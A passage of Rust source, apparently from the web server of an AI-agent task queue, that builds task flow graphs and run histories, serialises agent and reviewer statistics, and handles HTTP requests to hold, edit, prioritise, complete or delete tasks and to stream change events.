6449 format!("Chat {}", crate::queue::short(&link.id)),
6450 );
6451 n.href = Some(link.href);
6452 nodes.push(n);
6453 edges.push(FlowEdge {
6454 from: "chat".to_owned(),
6455 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6456 label: "queued from chat".to_owned(),
6457 attempt: AttemptCost::None,
6458 });
6459 }
6460 if let Some(o) = origin {
6461 let mut n = match &o.parent {
6462 Some(p) => {
6463 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6464 n.status = Some(p.status);
6465 n.status_of = "task";
6466 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6467 n.href = Some(p.href.clone());
6468 n
6469 }
6470 None => {
6471 let mut n = node(
6472 "origin",
6473 "followup",
6474 format!("Follow-up of run {}", o.run.short),
6475 );
6476 n.detail = Some("merged run".to_owned());
6477 n.status = o.run.status;
6478 n.href = o.run.href.clone();
6479 if o.run.href.is_none() {
6480 n.readable = false;
6481 n.note = Some("unreadable");
6482 }
6483 n
6484 }
6485 };
6486 n.decided = true;
6487 let from = n.key.clone();
6488 nodes.push(n);
6489 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6490 let more = o.findings.len().saturating_sub(shown.len());
6491 let label = match (shown.is_empty(), more) {
6492 (true, _) => "open findings".to_owned(),
6493 (false, 0) => format!("open findings {}", shown.join(", ")),
6494 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6495 };
6496 edges.push(FlowEdge {
6497 from,
6498 to: "start".to_owned(),
6499 label,
6500 attempt: AttemptCost::None,
6501 });
6502 }
6503 let mut start = node("start", "start", "Task queued".to_owned());
6504 start.started_at = Some(task.created_at);
6505 nodes.push(start);
6506 let mut prev = "start".to_owned();
6507 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6508 for (i, h) in history.iter().enumerate() {
6509 let key = format!("run-{}", h.n);
6510 let mut n = node(&key, "run", format!("Run {}", h.short));
6511 n.started_at = h
6514 .readable
6515 .then(|| {
6516 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6517 h.created_at
6518 } else {
6519 None
6520 })
6521 })
6522 .flatten();
6523 n.run_kind = Some(h.kind);
6524 n.readable = h.readable;
6525 n.href = Some(format!("#/runs/{}", h.id));
6526 n.decided = h.readable && !h.provisional;
6527 n.detail = h
6528 .branch
6529 .as_ref()
6530 .map(|b| format!("review-only run of branch {b}"));
6531 match h.exit {
6532 RunExit::Unreadable => n.note = Some("unreadable"),
6533 RunExit::Interrupted => n.note = Some("interrupted"),
6534 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6537 _ => {
6538 n.status = h.status;
6539 n.badge = h.badge.clone();
6540 if h.provisional {
6541 n.note = Some("no verdict");
6542 }
6543 }
6544 }
6545 let into = match h.kind {
6546 "review" => Some(format!(
6547 "review-only run of branch {}",
6548 h.branch.as_deref().unwrap_or("?")
6549 )),
6550 "resume" => Some("resume the same run".to_owned()),
6551 _ if i > 0 => Some("retry".to_owned()),
6552 _ => None,
6553 };
6554 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6555 let label = match (prev_exit, into) {
6556 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6557 (Some((_, l, _)), None) => l,
6558 (None, Some(i)) => i,
6559 (None, None) => "claimed".to_owned(),
6560 };
6561 edges.push(FlowEdge {
6562 from: prev.clone(),
6563 to: key.clone(),
6564 label,
6565 attempt,
6566 });
6567 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6568 prev = key;
6569 nodes.push(n);
6570 }
6571 let mut end = node("end", "end", task.status.as_str().to_owned());
6572 end.status = Some(task.status.as_str());
6573 end.status_of = "task";
6574 if task.status == TaskStatus::Held {
6577 end.started_at = task.held_at;
6578 }
6579 nodes.push(end);
6580 let (label, attempt) = match prev_exit {
6581 None => (
6582 format!("no run yet \u{2192} {}", task.status.as_str()),
6583 AttemptCost::None,
6584 ),
6585 Some((e, l, cost)) if e.explains(task.status) => {
6586 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6587 }
6588 Some((_, _, cost)) => (
6589 format!("closed by hand: task is {}", task.status.as_str()),
6590 cost,
6591 ),
6592 };
6593 edges.push(FlowEdge {
6594 from: prev,
6595 to: "end".to_owned(),
6596 label,
6597 attempt,
6598 });
6599 FlowView {
6600 nodes,
6601 edges,
6602 attempts: task.attempts,
6603 max_attempts,
6604 passes: history.len(),
6605 runs: distinct_runs(&task.runs),
6606 }
6607}
6608
6609fn distinct_runs(runs: &[String]) -> usize {
6611 let mut seen: Vec<&str> = Vec::new();
6612 for r in runs {
6613 if !seen.contains(&r.as_str()) {
6614 seen.push(r);
6615 }
6616 }
6617 seen.len()
6618}
6619
6620fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6622 let mut slots = Vec::new();
6623 let mut seen = Vec::new();
6624 for run_id in &task.runs {
6625 if seen.contains(&run_id) {
6626 continue;
6627 }
6628 seen.push(run_id);
6629 let state = read(run_id);
6630 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6631 s.passes
6632 .iter()
6633 .filter(|p| {
6634 p.task_entry
6635 || task
6636 .passes
6637 .iter()
6638 .any(|t| t.run == *run_id && t.pass_index == p.index)
6639 })
6640 .cloned()
6641 .collect()
6642 });
6643 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6644 let total = legacy_count.max(mine.len());
6645 let offset = total - mine.len();
6646 for k in 0..total {
6647 let position = task
6650 .runs
6651 .iter()
6652 .enumerate()
6653 .filter(|(_, r)| *r == run_id)
6654 .nth(k.min(legacy_count - 1))
6655 .unwrap()
6656 .0;
6657 slots.push((
6658 run_id,
6659 state.clone(),
6660 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6661 position,
6662 ));
6663 }
6664 }
6665 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6666 slots.sort_by_key(|(_, state, pass, _)| {
6667 pass.as_ref()
6668 .map(|p| p.started_at)
6669 .or_else(|| state.as_ref().map(|s| s.created_at))
6670 .map_or((true, task.created_at), |at| (false, at))
6671 });
6672 } else {
6673 slots.sort_by_key(|(_, _, _, position)| *position);
6674 }
6675 let mut history = Vec::with_capacity(slots.len());
6676 let mut seen: Vec<&str> = Vec::new();
6677 let mut prior: Option<(&str, RunStatus)> = None;
6678 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6679 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6680 let resumed = k > 0;
6681 seen.push(run_id);
6682 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6683 let pass = pass.as_ref();
6684 let settled = pass.and_then(|p| {
6685 task.passes
6686 .iter()
6687 .find(|t| t.run == **run_id && t.pass_index == p.index)
6688 });
6689 history.push(task_run_view(
6690 run_id,
6691 state.as_ref(),
6692 RunSlot {
6693 n: i + 1,
6694 resumed,
6695 resumed_later: slots[i + 1..]
6696 .iter()
6697 .position(|(id, _, _, _)| id == run_id)
6698 .map(|off| i + off + 2),
6699 prior,
6700 last: i + 1 == slots.len(),
6701 pass,
6702 settled,
6703 pass_n: k + 1,
6704 passes_of_run: total,
6705 },
6706 task,
6707 ));
6708 if let Some(s) = &state {
6709 prior = Some((run::short_of(run_id), s.status));
6710 }
6711 }
6712 history
6713}
6714
6715fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6718 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6719 return;
6720 }
6721 let (_, claimed, _) = run_row_inputs(ui);
6722 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6723 for h in history
6724 .iter_mut()
6725 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6726 {
6727 let Ok(state) = read_run(&ui.runs, &h.id) else {
6728 continue;
6729 };
6730 if state.status.done() {
6731 continue;
6732 }
6733 let live = state.liveness_with(
6734 claimed.contains(&h.id),
6735 |p| probe.borrow_mut().status(p),
6736 |p| probe.borrow_mut().started_at(p),
6737 );
6738 let waiting = !ui.questions.open_for(&h.id).is_empty();
6739 h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6740 let display = run_display_status(&state, waiting, live);
6741 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6742 if matches!(word.as_str(), "stale" | "superseded")
6743 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6744 {
6745 h.badge = Some(word);
6746 }
6747 }
6748}
6749
6750async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6751 blocking(move || {
6752 let id = resolve_task(&ui.queue, &id)?;
6753 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6754 })
6755 .await
6756}
6757
6758async fn task_detail(
6759 State(ui): State<Arc<Ui>>,
6760 Path(id): Path<String>,
6761) -> ApiResult<Json<TaskDetailView>> {
6762 blocking(move || {
6763 let id = resolve_task(&ui.queue, &id)?;
6764 let task = ui
6765 .queue
6766 .get(&id)
6767 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6768 let inv = if task.status == TaskStatus::Blocked {
6769 Some(crate::blockers::Inventory::load_for(
6770 &ui.queue,
6771 &ui.questions,
6772 &task,
6773 ))
6774 } else {
6775 None
6776 };
6777 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6778 mark_badges(&ui, &task, &mut history);
6779 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6780 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6781 let origin = task.followup.as_ref().map(|fu| {
6782 followup_origin(
6783 fu,
6784 |tid| ui.queue.get(tid).ok(),
6785 |rid| read_run(&ui.runs, rid).ok(),
6786 )
6787 });
6788 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6789 let task_view = match inv.as_ref() {
6790 Some(inv) => TaskView::with_inventory(task, inv),
6791 None => TaskView::from(task),
6792 };
6793 Ok(Json(TaskDetailView {
6794 max_attempts,
6795 flow,
6796 followup_origin: origin,
6797 passes_total: history.len(),
6798 runs_distinct: distinct_runs(&task_view.task.runs),
6799 history,
6800 runs_unreadable,
6801 attempts_note: ATTEMPTS_NOTE,
6802 task: task_view,
6803 }))
6804 })
6805 .await
6806}
6807
6808#[derive(Debug, Serialize)]
6812struct RateView {
6813 pct: f64,
6814 denominator: usize,
6815}
6816
6817impl RateView {
6818 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6819 (denominator > 0).then(|| Self {
6820 pct: 100.0 * numerator as f64 / denominator as f64,
6821 denominator,
6822 })
6823 }
6824}
6825
6826#[derive(Debug, Serialize)]
6831struct StatsTotalsView {
6832 runs: usize,
6833 merged: usize,
6834 ready: usize,
6835 blocked: usize,
6836 failed: usize,
6837 stalled: usize,
6838 verified_noop: usize,
6839 superseded: usize,
6840 in_progress: usize,
6841 completion_rate: Option<RateView>,
6842 tallied: usize,
6843 split: usize,
6844 split_rate: Option<RateView>,
6845 deliberated: usize,
6846 minds_changed: usize,
6847 converged: usize,
6848 review_rounds: usize,
6849}
6850
6851impl From<&stats::Totals> for StatsTotalsView {
6852 fn from(t: &stats::Totals) -> Self {
6853 Self {
6854 runs: t.runs,
6855 merged: t.merged,
6856 ready: t.ready,
6857 blocked: t.blocked,
6858 failed: t.failed,
6859 stalled: t.stalled,
6860 verified_noop: t.verified_noop,
6861 superseded: t.superseded,
6862 in_progress: t.in_progress,
6863 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6864 tallied: t.tallied,
6865 split: t.split,
6866 split_rate: RateView::of(t.split, t.tallied),
6867 deliberated: t.deliberated,
6868 minds_changed: t.minds_changed,
6869 converged: t.converged,
6870 review_rounds: t.review_rounds,
6871 }
6872 }
6873}
6874
6875#[derive(Debug, Serialize)]
6877struct AgentStatsView {
6878 agent: String,
6879 entered: usize,
6880 wins: usize,
6881 empty: usize,
6882 win_rate: Option<RateView>,
6883 competitive_entered: usize,
6884 competitive_wins: usize,
6885 competitive_win_rate: Option<RateView>,
6886 solo_entered: usize,
6887 solo_adopted: usize,
6888 solo_adoption_rate: Option<RateView>,
6889}
6890
6891impl From<&stats::AgentStats> for AgentStatsView {
6892 fn from(a: &stats::AgentStats) -> Self {
6893 Self {
6894 agent: a.agent.clone(),
6895 entered: a.entered,
6896 wins: a.wins,
6897 empty: a.empty,
6898 win_rate: RateView::of(a.wins, a.entered),
6899 competitive_entered: a.competitive_entered,
6900 competitive_wins: a.competitive_wins,
6901 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6902 solo_entered: a.solo_entered,
6903 solo_adopted: a.solo_adopted,
6904 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6905 }
6906 }
6907}
6908
6909#[derive(Debug, Serialize)]
6913struct ReviewerStatsView {
6914 agent: String,
6915 rounds: usize,
6916 seated: usize,
6917 submitted: usize,
6918 adopted: usize,
6919 unique: usize,
6920 timeouts: usize,
6921 adopted_per_round: Option<f64>,
6922 precision: Option<RateView>,
6923 unique_rate: Option<RateView>,
6924 timeout_rate: Option<RateView>,
6925}
6926
6927impl From<&stats::ReviewerStats> for ReviewerStatsView {
6928 fn from(r: &stats::ReviewerStats) -> Self {
6929 Self {
6930 agent: r.agent.clone(),
6931 rounds: r.rounds,
6932 seated: r.seated,
6933 submitted: r.submitted,
6934 adopted: r.adopted,
6935 unique: r.unique,
6936 timeouts: r.timeouts,
6937 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6938 precision: RateView::of(r.adopted, r.submitted),
6939 unique_rate: RateView::of(r.unique, r.submitted),
6940 timeout_rate: RateView::of(r.timeouts, r.seated),
6941 }
6942 }
6943}
6944
6945#[derive(Debug, Serialize)]
6951struct AdvisorStatsView {
6952 agent: String,
6953 seated: usize,
6954 proposed: usize,
6955 absent: usize,
6956 faint: usize,
6957 strong: usize,
6958 reflection_rate: Option<RateView>,
6959}
6960
6961impl From<&stats::AdvisorStats> for AdvisorStatsView {
6962 fn from(a: &stats::AdvisorStats) -> Self {
6963 Self {
6964 agent: a.agent.clone(),
6965 seated: a.seated,
6966 proposed: a.proposed,
6967 absent: a.absent,
6968 faint: a.faint,
6969 strong: a.strong,
6970 reflection_rate: RateView::of(a.strong, a.proposed),
6971 }
6972 }
6973}
6974
6975#[derive(Debug, Serialize)]
6977struct E2eStatsView {
6978 rounds: usize,
6979 failures: usize,
6980 sole_detections: usize,
6981 deferred: usize,
6982 sole_rate: Option<RateView>,
6983}
6984
6985impl From<&stats::E2eStats> for E2eStatsView {
6986 fn from(e: &stats::E2eStats) -> Self {
6987 Self {
6988 rounds: e.rounds,
6989 failures: e.failures,
6990 sole_detections: e.sole_detections,
6991 deferred: e.deferred,
6992 sole_rate: RateView::of(e.sole_detections, e.failures),
6993 }
6994 }
6995}
6996
6997#[derive(Debug, Serialize)]
7005struct ReleaseBumpStatsView {
7006 merged: usize,
7007 recorded: usize,
7008 pr_opened: usize,
7009 automerge_enabled: usize,
7010 merged_directly: usize,
7011 needs_attention: usize,
7012 clean: usize,
7013 coverage_rate: Option<RateView>,
7014 automerge_rate: Option<RateView>,
7015 attention_rate: Option<RateView>,
7016}
7017
7018impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7019 fn from(b: &stats::ReleaseBumpStats) -> Self {
7020 Self {
7021 merged: b.merged,
7022 recorded: b.recorded,
7023 pr_opened: b.pr_opened,
7024 automerge_enabled: b.automerge_enabled,
7025 merged_directly: b.merged_directly,
7026 needs_attention: b.needs_attention,
7027 clean: b.clean(),
7028 coverage_rate: RateView::of(b.recorded, b.merged),
7029 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7030 attention_rate: RateView::of(b.needs_attention, b.recorded),
7031 }
7032 }
7033}
7034
7035#[derive(Debug, Serialize)]
7037struct TaskCountsView {
7038 queued: usize,
7039 running: usize,
7040 done: usize,
7041 failed: usize,
7042 held: usize,
7043 blocked: usize,
7044 parked: usize,
7045}
7046
7047impl From<crate::queue::TaskCounts> for TaskCountsView {
7048 fn from(c: crate::queue::TaskCounts) -> Self {
7049 Self {
7050 queued: c.queued,
7051 running: c.running,
7052 done: c.done,
7053 failed: c.failed,
7054 held: c.held,
7055 blocked: c.blocked,
7056 parked: c.parked,
7057 }
7058 }
7059}
7060
7061#[derive(Debug, Serialize)]
7067struct RepoSummaryView {
7068 repo: String,
7071 name: String,
7073 runs: usize,
7074 completion_rate: Option<RateView>,
7075}
7076
7077impl From<&stats::RepoStats> for RepoSummaryView {
7078 fn from(r: &stats::RepoStats) -> Self {
7079 let t = &r.stats.totals;
7080 Self {
7081 repo: r.repo.to_string_lossy().into_owned(),
7082 name: r.name.clone(),
7083 runs: t.runs,
7084 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7085 }
7086 }
7087}
7088
7089#[derive(Debug, Serialize)]
7095struct StatsView {
7096 totals: StatsTotalsView,
7097 agents: Vec<AgentStatsView>,
7099 reviewers: Vec<ReviewerStatsView>,
7101 advisors: Vec<AdvisorStatsView>,
7103 e2e: E2eStatsView,
7104 release_bumps: ReleaseBumpStatsView,
7105 queue: Option<TaskCountsView>,
7106 runs_unreadable: usize,
7116 repos: Vec<RepoSummaryView>,
7120 daily: Vec<DailyStatsView>,
7125 repo: Option<String>,
7129 retired_hidden: Vec<String>,
7133}
7134
7135#[derive(Debug, Serialize)]
7137struct DailyStatsView {
7138 date: String,
7140 runs: usize,
7141 merged: usize,
7142 ready: usize,
7143 other: usize,
7144 completion_rate: Option<RateView>,
7146}
7147
7148impl From<&stats::DayBucket> for DailyStatsView {
7149 fn from(b: &stats::DayBucket) -> Self {
7150 Self {
7151 date: b.date.to_string(),
7152 runs: b.runs,
7153 merged: b.merged,
7154 ready: b.ready,
7155 other: b.other,
7156 completion_rate: RateView::of(b.merged + b.ready, b.runs),
7157 }
7158 }
7159}
7160
7161const STATS_DAILY_DAYS: usize = 30;
7163
7164#[derive(Debug, Default, Deserialize)]
7173#[serde(default)]
7174struct StatsQuery {
7175 repo: Option<String>,
7176 all: bool,
7178 runs_only: bool,
7180}
7181
7182async fn stats_get(
7189 State(ui): State<Arc<Ui>>,
7190 Query(q): Query<StatsQuery>,
7191) -> ApiResult<Json<StatsView>> {
7192 blocking(move || {
7193 let states: Vec<RunState> = run_ids(&ui.runs)
7194 .into_iter()
7195 .filter_map(|id| read_run(&ui.runs, &id).ok())
7196 .collect();
7197 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7198 .iter()
7199 .map(RepoSummaryView::from)
7200 .collect();
7201 let mut scoped: Vec<&RunState> = states.iter().collect();
7202 let mut collected = match &q.repo {
7203 Some(repo) => {
7204 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7205 if filtered.is_empty() {
7206 return Err(ApiError::not_found(format!(
7207 "no runs recorded against repo `{repo}`"
7208 )));
7209 }
7210 scoped = filtered.clone();
7211 stats::collect_refs(filtered)
7212 }
7213 None => stats::collect(&states),
7214 };
7215 if !q.all {
7216 let repo = q
7217 .repo
7218 .as_deref()
7219 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7220 stats::retain_current_roster(&mut collected, &repo);
7221 }
7222 let daily = stats::daily(
7223 scoped,
7224 jiff::Zoned::now().date(),
7225 &jiff::tz::TimeZone::system(),
7226 STATS_DAILY_DAYS,
7227 );
7228 let queue_counts = (!q.runs_only)
7229 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7230 Ok(Json(StatsView {
7231 totals: StatsTotalsView::from(&collected.totals),
7232 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7233 reviewers: collected
7234 .reviewers
7235 .iter()
7236 .map(ReviewerStatsView::from)
7237 .collect(),
7238 advisors: collected
7239 .advisors
7240 .iter()
7241 .map(AdvisorStatsView::from)
7242 .collect(),
7243 e2e: E2eStatsView::from(&collected.e2e),
7244 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7245 queue: queue_counts,
7246 runs_unreadable: runs_unreadable(&ui.runs),
7247 repos,
7248 daily: daily.iter().map(DailyStatsView::from).collect(),
7249 repo: q.repo.clone(),
7250 retired_hidden: collected.retired_hidden.clone(),
7251 }))
7252 })
7253 .await
7254}
7255
7256#[derive(Debug, Default, Deserialize)]
7259#[serde(default, deny_unknown_fields)]
7260struct HoldBody {
7261 reason: Option<String>,
7262}
7263
7264async fn queue_hold(
7265 State(ui): State<Arc<Ui>>,
7266 Path(id): Path<String>,
7267 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7268) -> ApiResult<Json<TaskView>> {
7269 let body = match body {
7273 Ok(Json(body)) => body,
7274 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7275 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7276 };
7277 let reason = body.reason.filter(|r| !r.trim().is_empty());
7278 mutate(ui, id, move |t| {
7279 t.hold_manual(reason.clone());
7280 Ok(())
7281 })
7282 .await
7283}
7284
7285async fn queue_release(
7286 State(ui): State<Arc<Ui>>,
7287 Path(id): Path<String>,
7288) -> ApiResult<Json<TaskView>> {
7289 mutate(ui, id, |t| {
7290 t.release_operator("web", None);
7291 Ok(())
7292 })
7293 .await
7294}
7295
7296#[derive(Debug, Deserialize)]
7297#[serde(deny_unknown_fields)]
7298struct AttemptLimitBody {
7299 attempt_limit: serde_json::Value,
7301}
7302
7303async fn queue_attempt_limit(
7304 State(ui): State<Arc<Ui>>,
7305 Path(id): Path<String>,
7306 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7307) -> ApiResult<Json<TaskView>> {
7308 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7309 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7310 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7311 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7312}
7313
7314#[derive(Debug, Deserialize)]
7315#[serde(deny_unknown_fields)]
7316struct ImplementersBody {
7317 implementers: u8,
7318}
7319
7320async fn queue_implementers(
7321 State(ui): State<Arc<Ui>>,
7322 Path(id): Path<String>,
7323 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7324) -> ApiResult<Json<TaskView>> {
7325 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7326 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7327}
7328
7329#[derive(Debug, Deserialize)]
7330#[serde(deny_unknown_fields)]
7331struct UrgentBody {
7332 urgent: bool,
7333}
7334
7335async fn queue_urgent(
7336 State(ui): State<Arc<Ui>>,
7337 Path(id): Path<String>,
7338 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7339) -> ApiResult<Json<TaskView>> {
7340 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7341 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7342}
7343
7344#[derive(Debug, Deserialize)]
7346#[serde(deny_unknown_fields)]
7347struct PriorityBody {
7348 priority: i32,
7349}
7350
7351async fn queue_priority(
7357 State(ui): State<Arc<Ui>>,
7358 Path(id): Path<String>,
7359 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7360) -> ApiResult<Json<TaskView>> {
7361 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7362 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7363}
7364
7365#[derive(Debug, Deserialize)]
7367#[serde(deny_unknown_fields)]
7368struct EditBody {
7369 title: String,
7370 instruction: String,
7371 #[serde(default)]
7374 force: bool,
7375}
7376
7377async fn queue_edit(
7381 State(ui): State<Arc<Ui>>,
7382 Path(id): Path<String>,
7383 body: std::result::Result<Json<EditBody>, JsonRejection>,
7384) -> ApiResult<Json<TaskView>> {
7385 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7386 let mut judged: Option<(String, PathBuf)> = None;
7390 if !body.force {
7391 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7392 let (id, text) = (id.clone(), body.instruction.clone());
7393 let (seen, hits) = blocking(move || {
7394 let id = resolve_task(&queue, &id)?;
7395 let t = queue.get(&id)?;
7396 if text == t.instruction {
7397 return Ok((None, Vec::new()));
7398 }
7399 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7400 Ok((Some((t.instruction, t.repo)), hits))
7401 })
7402 .await?;
7403 if let Some((_, repo)) = &seen {
7404 let cfg = crate::config::Config::discover(repo, None)
7405 .ok()
7406 .map(|(c, _)| c);
7407 let screened =
7408 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7409 .await
7410 .map_err(|dup| {
7411 ApiError::conflict(dup.render(
7412 "Nothing was saved. If it is not a duplicate, repeat the request \
7413 with \"force\": true.",
7414 ))
7415 })?;
7416 if let crate::dupes::Screened::Unjudged(why) = screened {
7417 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7418 }
7419 }
7420 judged = seen;
7421 }
7422 let force = body.force;
7423 mutate(ui, id, move |t| {
7424 if !force && body.instruction != t.instruction {
7425 match &judged {
7426 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7427 _ => {
7428 anyhow::bail!("the task changed while it was being checked; repeat the request")
7429 }
7430 }
7431 }
7432 t.edit(body.title.clone(), body.instruction.clone())
7433 })
7434 .await
7435}
7436
7437async fn queue_done(
7445 State(ui): State<Arc<Ui>>,
7446 Path(id): Path<String>,
7447) -> ApiResult<Json<TaskView>> {
7448 let home = ui.home.clone();
7449 mutate(ui, id, move |t| {
7450 t.succeed();
7451 crate::daemon::supersede_prior_runs(t, &home);
7459 Ok(())
7460 })
7461 .await
7462}
7463
7464async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7472 blocking(move || {
7473 let id = resolve_task(&ui.queue, &id)?;
7474 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7475 ui.queue
7476 .remove(&id, in_flight, &ui.questions)
7477 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7478 Ok(StatusCode::NO_CONTENT)
7479 })
7480 .await
7481}
7482
7483async fn mutate(
7492 ui: Arc<Ui>,
7493 id: String,
7494 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7495) -> ApiResult<Json<TaskView>> {
7496 blocking(move || {
7497 let id = resolve_task(&ui.queue, &id)?;
7498 let _claim = ui.queue.claim(&id).map_err(|e| {
7503 ApiError::conflict(format!(
7504 "{e:#} - a daemon is running this task, so it cannot be \
7505 changed from here yet; wait until it is released, then retry"
7506 ))
7507 })?;
7508 let mut task = ui.queue.get(&id)?;
7509 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7510 Ok(dup) => ApiError::conflict(dup.render(
7511 "Nothing was saved. If it is not a duplicate, repeat the request with \
7512 \"force\": true.",
7513 )),
7514 Err(e) => ApiError::bad_request_from(e),
7515 })?;
7516 ui.queue.put(&mut task)?;
7517 Ok(Json(TaskView::from(task)))
7518 })
7519 .await
7520}
7521
7522async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7527 ui.monitor.ensure_worker(&ui);
7528 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7529 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7530
7531 let state = Arc::clone(&ui);
7532 tokio::spawn(async move {
7533 let initial_revisions = {
7534 let guard = match state.monitor.latest.lock() {
7535 Ok(g) => g,
7536 Err(p) => p.into_inner(),
7537 };
7538 guard.as_ref().map(|(r, _)| *r)
7539 };
7540 if let Some(revisions) = initial_revisions {
7541 let initial_payload = serde_json::json!({
7542 "queue_rev": revisions.0,
7543 "runs_rev": revisions.1,
7544 "questions_rev": revisions.2,
7545 "talks_rev": revisions.3,
7546 "notifications_rev": revisions.4,
7547 "loop_rev": revisions.5,
7548 });
7549
7550 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7551 if tx.send(event).await.is_err() {
7552 return;
7553 }
7554 }
7555 }
7556
7557 loop {
7558 match tokio::select! {
7559 _ = tx.closed() => return,
7560 value = broadcast_rx.recv() => value,
7561 } {
7562 Ok(notif) => {
7563 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7564 else {
7565 break;
7566 };
7567 if tx.send(event).await.is_err() {
7568 break;
7569 }
7570 }
7571 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7572 let revs = {
7573 let guard = match state.monitor.latest.lock() {
7574 Ok(g) => g,
7575 Err(p) => p.into_inner(),
7576 };
7577 guard.as_ref().map(|(r, _)| *r)
7578 };
7579 if let Some(revs) = revs {
7580 let payload = serde_json::json!({
7581 "queue_rev": revs.0,
7582 "runs_rev": revs.1,
7583 "questions_rev": revs.2,
7584 "talks_rev": revs.3,
7585 "notifications_rev": revs.4,
7586 "loop_rev": revs.5,
7587 });
7588 if let Ok(event) = Event::default().event("change").json_data(payload) {
7589 if tx.send(event).await.is_err() {
7590 break;
7591 }
7592 }
7593 }
7594 }
7595 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7596 break;
7597 }
7598 }
7599 }
7600 });
7601
7602 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7603 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7604}
7605
7606fn run_ids(runs: &FsPath) -> Vec<String> {
7612 let mut ids: Vec<String> = std::fs::read_dir(runs)
7613 .into_iter()
7614 .flatten()
7615 .flatten()
7616 .filter(|e| e.path().join("run.json").is_file())
7617 .map(|e| e.file_name().to_string_lossy().into_owned())
7618 .collect();
7619 ids.sort_unstable_by(|a, b| b.cmp(a));
7621 ids
7622}
7623
